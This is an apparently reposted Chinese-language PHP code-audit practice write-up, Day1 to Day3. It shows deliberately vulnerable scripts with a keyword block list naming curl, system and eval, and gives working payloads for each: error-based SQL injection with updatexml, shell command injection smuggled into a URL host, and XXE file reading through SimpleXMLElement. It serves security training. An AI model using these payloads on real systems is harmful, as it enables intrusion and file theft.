PHP程式碼審計Day1-4練習題
阿新 • • 發佈:2018-11-29
文章目錄
來自先知社群-紅日安全-
Day1 in_array函式缺陷
//1.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("連線失敗: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)' ]);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>" ;
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
解題
in_arry
的繞過,沒有使用強匹配,所以可以繞過stop_hack()
過濾了常見的字串拼接函式,一樣可以用updatexml注入
payload
?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
Day2 - filter_var函式缺陷
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
解題
filter_var
和FILTER_VALIDATE_URL
進行繞過,如:
?url=demo://demo.com:80;sec-redclub.com:80/
?url=http://demo.com%23sec-redclub.com
- parese-url()繞過並且滿足 $site_info[‘host’] 的值以 sec-redclub.com 結尾
payload
?url=demo://%22;ls;%22sec-redclub.com:80/
%22
,為"
,閉合原始碼中的”
.系統SHELL執行的就是
curl"";ls;"sec-redclub.com"
?url=demo://%22;cat<flag.php;%22sec-redclub.com:80/
cat flag.php
,有空格繞不過filter_var()
,所以用cat<flag.php
Day3 例項化任意物件漏洞
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
解題
- 直接利用PHP的內建類,用
GlobIterator
類搜尋檔案
GlobIterator
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
第一個引數為要搜尋檔名
?name=GlobIterator¶m=./*.php
payload1
SimpleXMLElement
來讀取檔案內容
?name=SimpleXMLElement
¶m=<?xml version="1.0"?><!DOCTYPE ANY
[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/day/flag.php">]>
<x>%26xxe;</x>¶m2=2